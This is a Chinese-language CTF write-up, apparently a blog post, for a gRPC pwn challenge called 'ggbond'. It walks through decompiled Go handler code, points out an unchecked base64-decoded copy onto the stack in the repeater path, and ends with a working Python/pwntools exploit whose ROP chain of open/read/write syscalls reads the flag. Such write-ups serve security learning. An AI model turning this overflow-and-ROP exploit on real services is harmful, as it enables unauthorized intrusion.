      v26 = (RTYPE **)v17->Response.tab;
      v27 = (__int64 *)v17->Response.data;
      if ( v26 != v25 )
        runtime_panicdottypeI(
          v17->Response.tab,
          (unsigned int)&RTYPE__ptr_ggbond_Response_RoleChange,
          (unsigned int)&RTYPE_ggbond_isResponse_Response,
          (_DWORD)p_data,
          v3,
          v22,
          v23,
          (_DWORD)v26);
      if ( qword_C525A8 <= (unsigned __int64)v71 )
        runtime_panicIndex(v71, &RTYPE__ptr_ggbond_Response_RoleChange, qword_C525A8, p_data, v3, v22, v23, off_C525A0);
      v76 = v17;
      v86 = v27;
      v28 = runtime_concatstring3(
              0,
              (unsigned int)&aPrototyperpcVR[2958],
              10,
              (unsigned int)off_C525A0[2 * v71],
              (unsigned int)off_C525A0[2 * v71 + 1],
              (unsigned int)".",
              1,
              (_DWORD)off_C525A0,
              (_DWORD)v27);
      v29 = *v86;
      *(_QWORD *)(*v86 + 48) = &aPrototyperpcVR[2958];
      if ( dword_C95060 )
        runtime_gcWriteBarrier(v29 + 40);
      else
        *(_QWORD *)(v29 + 40) = v28;
      v17 = v76;
    }
    v18 = 0LL;
    v19 = 0LL;
    goto LABEL_90;
  }
  if ( tab == off_9799C0 )
  {
    v96 = p_data;
    if ( qword_C94B80 == 3 )
    {
      p_ggbond_RepeaterResponse = (ggbond_RepeaterResponse *)runtime_newobject(&RTYPE_ggbond_RepeaterResponse);
      p_ggbond_Response_Repeater = (ggbond_Response_Repeater *)runtime_newobject(&RTYPE_ggbond_Response_Repeater);
      v84 = p_ggbond_Response_Repeater;
      if ( dword_C95060 )
      {
        p_data = (_ptr_ggbond_Request)p_ggbond_Response_Repeater;
        runtime_gcWriteBarrierCX(p_ggbond_Response_Repeater, v3, v33);
      }
      else
      {
        p_ggbond_Response_Repeater->Repeater = p_ggbond_RepeaterResponse;
      }
      v34 = (ggbond_Response *)runtime_newobject(&RTYPE_ggbond_Response);
      v38 = off_979A60;
      v34->Response.tab = off_979A60;
      if ( dword_C95060 )
      {
        p_data = (_ptr_ggbond_Request)&v34->Response.data;
        v34 = (ggbond_Response *)runtime_gcWriteBarrierDX(&v34->Response.data, v3);
      }
      else
      {
        v34->Response.data = v84;
      }
      v39 = (__int64 *)v34->Response.data;
      if ( v34->Response.tab != v38 )
        runtime_panicdottypeI(
          v34->Response.tab,
          (unsigned int)&RTYPE__ptr_ggbond_Response_Repeater,
          (unsigned int)&RTYPE_ggbond_isResponse_Response,
          (_DWORD)p_data,
          v3,
          (_DWORD)v39,
          v35,
          v36);
      if ( (unsigned __int64)qword_C525A8 <= 3 )
        runtime_panicIndex(3LL, &RTYPE__ptr_ggbond_Response_Repeater, qword_C525A8, p_data, v3, v39, v35, v36);
      v74 = v34;
      v86 = v39;
      v40 = off_C525A0[6];
      v41 = runtime_concatstring2(
              0,
              (_DWORD)v40,
              (unsigned int)off_C525A0[7],
              (unsigned int)&aContinueWantR1[401],
              13,
              (_DWORD)v39,
              v35,
              v36,
              v37);
      v45 = *v86;
      *(_QWORD *)(*v86 + 48) = v40;
      if ( dword_C95060 )
      {
        v45 += 40LL;
        runtime_gcWriteBarrier(v45);
      }
      else
      {
        *(_QWORD *)(v45 + 40) = v41;
      }
      v46 = (RTYPE **)v96->Request.tab;
      if ( v46 != off_9799C0 )
        runtime_panicdottypeI(
          (_DWORD)v46,
          (unsigned int)&RTYPE__ptr_ggbond_Request_Repeater,
          (unsigned int)&RTYPE_ggbond_isRequest_Request,
          v45,
          (unsigned int)off_9799C0,
          v42,
          v43,
          v44);
      v97 = *(string *)(*(_QWORD *)v96->Request.data + 40LL);
      len = v97.len;
      v99 = encoding_base64__ptr_Encoding_DecodeString(qword_C62CA0, v97);
      ptr = v99.0.ptr;
      v89 = v99.0.len;
      cap = v99.0.cap;
      v73[0] = v5;
      v73[1] = v5;
      v91 = v73;
      v92 = 32LL;
      v93 = 32LL;
      v47 = v73;
      v48 = v99.0.ptr;
      for ( i = 0LL; i < (__int64)(3 * (len >> 2)); ++i )
      {
        *(_BYTE *)v47 = *v48;
        v47 = (__int128 *)((char *)v47 + 1);
        ++v48;
      }
      v17 = v74;
      v18 = 0LL;
      v19 = 0LL;
    }
    else
    {
      v81 = (ggbond_RepeaterResponse *)runtime_newobject(&RTYPE_ggbond_RepeaterResponse);
      v50 = (ggbond_Response_Repeater *)runtime_newobject(&RTYPE_ggbond_Response_Repeater);
      v84 = v50;
      if ( dword_C95060 )
      {
        p_data = (_ptr_ggbond_Request)v50;
        runtime_gcWriteBarrierCX(v50, v3, v51);
      }
      else
      {
        v50->Repeater = v81;
      }
      v52 = (ggbond_Response *)runtime_newobject(&RTYPE_ggbond_Response);
      v55 = off_979A60;
      v52->Response.tab = off_979A60;
      if ( dword_C95060 )
      {
        p_data = (_ptr_ggbond_Request)&v52->Response.data;
        v52 = (ggbond_Response *)runtime_gcWriteBarrierDX(&v52->Response.data, v3);
      }
      else
      {
        v52->Response.data = v84;
      }
      v56 = (__int64 *)v52->Response.data;
      if ( v52->Response.tab != v55 )
        runtime_panicdottypeI(
          v52->Response.tab,
          (unsigned int)&RTYPE__ptr_ggbond_Response_Repeater,
          (unsigned int)&RTYPE_ggbond_isResponse_Response,
          (_DWORD)p_data,
          v3,
          v53,
          v54,
          (_DWORD)v56);
      if ( qword_C525A8 <= (unsigned __int64)qword_C94B80 )
        runtime_panicIndex(qword_C94B80, &RTYPE__ptr_ggbond_Response_Repeater, qword_C525A8, p_data, v3, v53, v54, v56);
      v57 = off_C525A0[2 * qword_C94B80];
      v58 = off_C525A0[2 * qword_C94B80 + 1];
      v59 = (RTYPE **)v96->Request.tab;
      v60 = v96->Request.data;
      if ( v59 != off_9799C0 )
        runtime_panicdottypeI(
          v96->Request.tab,
          (unsigned int)&RTYPE__ptr_ggbond_Request_Repeater,
          (unsigned int)&RTYPE_ggbond_isRequest_Request,
          (_DWORD)p_data,
          v3,
          v53,
          v54,
          (_DWORD)v56);
      v75 = v52;
      v86 = v56;
      v61 = runtime_concatstring3(
              0,
              (_DWORD)v57,
              (_DWORD)v58,
              (unsigned int)": :/:=:]; <-<<<==#==> >=>>??A3A4CNCcCfCoCsGOGTLTLlLmLoLtLuMXMcMeMnNSNdNlNoOKOUPcPdPePfPiPoPsSTScSkSmSoTZTeToV1V2V3V5V6YiZlZpZs[]\")\":\">\"\n\\$\\'\\(\\)\\*\\-\\.\\/\\0\\9\\?\\D\\E\\S\\W\\[\\\"\\\\\\]\\^\\a\\c\\d\\f\\n\\r\\s\\t\\w\\{\\|\\}\n \n\t\r\n\t 聽] ])]:][]\n^=`\\aAbBdoeEeqfFgegogti)iIidifinipjslLleltmsn=nNnensoOorpPpbrRs sStetotvuUusxX{{{}|=||}\n}}蛷     G  M  P *( -  <  >  m= n=%+v%25%2c%: &^='\"'): * /....js///00001_0\r\n125200204206304400404443500625: `:%d://::1<<=>>=?*[???ACKAMPAprAugDD;DSADecEOFETHEndFebFriGETGT;GetGg;Gt;HanINTIm;JanJulJunLT;LaoLl;Lt;MD4MD5MarMayMonMroMu;NaNNkoNovNu;OPTOctOr;PC=PTRPi;Pr;REGRSARe;SETSOASRVSatSc;SepSunTTLTXTThuTueURIUTCVaiViaWedXi;\"}}\\22\\26\\27\\28\\29\\2b\\2f\\3a\\3b\\3c\\3e\\7b\\7d\n",
              2,
              *(_QWORD *)(*(_QWORD *)v60 + 40LL),
              *(_QWORD *)(*(_QWORD *)v60 + 48LL),
              (_DWORD)v56,
              (_DWORD)v59);
      v62 = *v86;
      *(_QWORD *)(*v86 + 48) = v57;
      if ( dword_C95060 )
        runtime_gcWriteBarrier(v62 + 40);
      else
        *(_QWORD *)(v62 + 40) = v61;
      v17 = v75;
      v18 = 0LL;
      v19 = 0LL;
    }
  }
  else
  {
LABEL_63:
    p_ggbond_ErrorResponse = (ggbond_ErrorResponse *)runtime_newobject(&RTYPE_ggbond_ErrorResponse);
    p_ggbond_Response_Error = (ggbond_Response_Error *)runtime_newobject(&RTYPE_ggbond_Response_Error);
    v83 = p_ggbond_Response_Error;
    if ( dword_C95060 )
    {
      LODWORD(p_data) = (_DWORD)p_ggbond_Response_Error;
      runtime_gcWriteBarrierCX(p_ggbond_Response_Error, v3, v64);
    }
    else
    {
      p_ggbond_Response_Error->Error = p_ggbond_ErrorResponse;
    }
    v17 = (ggbond_Response *)runtime_newobject(&RTYPE_ggbond_Response);
    v68 = off_979A40;
    v17->Response.tab = off_979A40;
    if ( dword_C95060 )
    {
      LODWORD(p_data) = (_DWORD)v17 + 48;
      v17 = (ggbond_Response *)runtime_gcWriteBarrierDX(&v17->Response.data, v3);
    }
    else
    {
      v17->Response.data = v83;
    }
    v69 = (__int64 *)v17->Response.data;
    if ( v17->Response.tab != v68 )
      runtime_panicdottypeI(
        v17->Response.tab,
        (unsigned int)&RTYPE__ptr_ggbond_Response_Error,
        (unsigned int)&RTYPE_ggbond_isResponse_Response,
        (_DWORD)p_data,
        (_DWORD)v69,
        v65,
        v66,
        v67);
    v70 = *v69;
    *(_QWORD *)(*v69 + 48) = 13LL;
    if ( dword_C95060 )
      v17 = (ggbond_Response *)runtime_gcWriteBarrierDX(v70 + 40, v69);
    else
      *(_QWORD *)(v70 + 40) = &aContinueWantR1[544];
    v18 = 0LL;
    v19 = 0LL;
  }
LABEL_90:
  result.1.tab = v18;
  result.1.data = v19;
  result.0 = v17;
  return result;
}

可以发现有三个 if ( tab == xxx )的逻辑,同事在runtime_newobject创建对象的时候,正好对应 三个request的逻辑,发whoami的请求时也是走到这段逻辑中去处理,所以这个main__ptr_server_Handler函数就是处理三个request 的关键函数了

存在漏洞的位置是 处理repeater 的时候如果role == 3,就会把数据base64deocode后发送到栈上,没有对长度做一个判断存在一个栈溢出

if ( tab == off_9799C0 )
{
  v96 = p_data;
  if ( qword_C94B80 == 3 )
  {
    p_ggbond_RepeaterResponse = (ggbond_RepeaterResponse *)runtime_newobject(&RTYPE_ggbond_RepeaterResponse);
    p_ggbond_Response_Repeater = (ggbond_Response_Repeater *)runtime_newobject(&RTYPE_ggbond_Response_Repeater);
    v84 = p_ggbond_Response_Repeater;
    if ( dword_C95060 )
    {
      p_data = (_ptr_ggbond_Request)p_ggbond_Response_Repeater;
      runtime_gcWriteBarrierCX(p_ggbond_Response_Repeater, v3, v33);
    }
    else
    {
      p_ggbond_Response_Repeater->Repeater = p_ggbond_RepeaterResponse;
    }
    v34 = (ggbond_Response *)runtime_newobject(&RTYPE_ggbond_Response);
    v38 = off_979A60;
    v34->Response.tab = off_979A60;
    if ( dword_C95060 )
    {
      p_data = (_ptr_ggbond_Request)&v34->Response.data;
      v34 = (ggbond_Response *)runtime_gcWriteBarrierDX(&v34->Response.data, v3);
    }
    else
    {
      v34->Response.data = v84;
    }
    v39 = (__int64 *)v34->Response.data;
    if ( v34->Response.tab != v38 )
      runtime_panicdottypeI(
        v34->Response.tab,
        (unsigned int)&RTYPE__ptr_ggbond_Response_Repeater,
        (unsigned int)&RTYPE_ggbond_isResponse_Response,
        (_DWORD)p_data,
        v3,
        (_DWORD)v39,
        v35,
        v36);
    if ( (unsigned __int64)qword_C525A8 <= 3 )
      runtime_panicIndex(3LL, &RTYPE__ptr_ggbond_Response_Repeater, qword_C525A8, p_data, v3, v39, v35, v36);
    v74 = v34;
    v86 = v39;
    v40 = off_C525A0[6];
    v41 = runtime_concatstring2(
            0,
            (_DWORD)v40,
            (unsigned int)off_C525A0[7],
            (unsigned int)&aContinueWantR1[401],
            13,
            (_DWORD)v39,
            v35,
            v36,
            v37);
    v45 = *v86;
    *(_QWORD *)(*v86 + 48) = v40;
    if ( dword_C95060 )
    {
      v45 += 40LL;
      runtime_gcWriteBarrier(v45);
    }
    else
    {
      *(_QWORD *)(v45 + 40) = v41;
    }
    v46 = (RTYPE **)v96->Request.tab;
    if ( v46 != off_9799C0 )
      runtime_panicdottypeI(
        (_DWORD)v46,
        (unsigned int)&RTYPE__ptr_ggbond_Request_Repeater,
        (unsigned int)&RTYPE_ggbond_isRequest_Request,
        v45,
        (unsigned int)off_9799C0,
        v42,
        v43,
        v44);
    v97 = *(string *)(*(_QWORD *)v96->Request.data + 40LL);
    len = v97.len;
    v99 = encoding_base64__ptr_Encoding_DecodeString(qword_C62CA0, v97);
    ptr = v99.0.ptr;
    v89 = v99.0.len;
    cap = v99.0.cap;
    v73[0] = v5;
    v73[1] = v5;
    v91 = v73;
    v92 = 32LL;
    v93 = 32LL;
    v47 = v73;
    v48 = v99.0.ptr;
    for ( i = 0LL; i < (__int64)(3 * (len >> 2)); ++i )
    {
      *(_BYTE *)v47 = *v48;
      v47 = (__int128 *)((char *)v47 + 1);
      ++v48;
    }
    v17 = v74;
    v18 = 0LL;
    v19 = 0LL;
  }

在这里存在溢出

  for ( i = 0LL; i < (__int64)(3 * (len >> 2)); ++i )
  {
    *(_BYTE *)v47 = *v48;
    v47 = (__int128 *)((char *)v47 + 1);
    ++v48;
  }
  v17 = v74;
  v18 = 0LL;
  v19 = 0LL;
}

利用的思路是,orw把flag 从socket的 fd那读出来

exp

import grpc

import ggbond_pb2
import ggbond_pb2_grpc

from pwn import *

def whoami(chan):
    stub=ggbond_pb2_grpc.GGBondServerStub(chan)
    respond=stub.Handler(ggbond_pb2.Request(whoami=ggbond_pb2.WhoamiRequest()))
    return respond

def role_change(chan,role):
    stub=ggbond_pb2_grpc.GGBondServerStub(chan)
    respond=stub.Handler(ggbond_pb2.Request(role_change=ggbond_pb2.RoleChangeRequest(role=role)))
    return respond

def repeater(chan,message):
    stub=ggbond_pb2_grpc.GGBondServerStub(chan)
    respond=stub.Handler(ggbond_pb2.Request(repeater=ggbond_pb2.RepeaterRequest(message=message)))
    return respond

file_path = './pwn'
p1 = process(file_path)

p = remote("127.0.0.1", 23334)

channel=grpc.insecure_channel('localhost:23334')

print(role_change(channel,3))

rdi_addr = 0x401537
rsi_addr = 0x422398
rdx_addr = 0x461bd1
rax_addr = 0x4101e6
syscall_addr = 0x40452C
flag_addr = 0x7FAEEC
bss_addr = 0xC90000

payload = b'a'*0xc8
payload+=p64(rdi_addr)+p64(flag_addr)+p64(rsi_addr)+p64(0)+p64(rdx_addr)+p64(0)
payload+=p64(rax_addr)+p64(2)+p64(syscall_addr) # open

payload+=p64(rdi_addr)+p64(9)+p64(rsi_addr)+p64(bss_addr)+p64(rdx_addr)+p64(0x30)
payload+=p64(rax_addr)+p64(0)+p64(syscall_addr)

payload+=p64(rdi_addr)+p64(7)+p64(rsi_addr)+p64(bss_addr)+p64(rdx_addr)+p64(0x30)
payload+=p64(rax_addr)+p64(1)+p64(syscall_addr)


try:
    repeater(channel,base64.b64encode(payload))
except:
    print(p.recv(0x1000))
2024-06-25
Contents
  1. ggbond

⬆︎TOP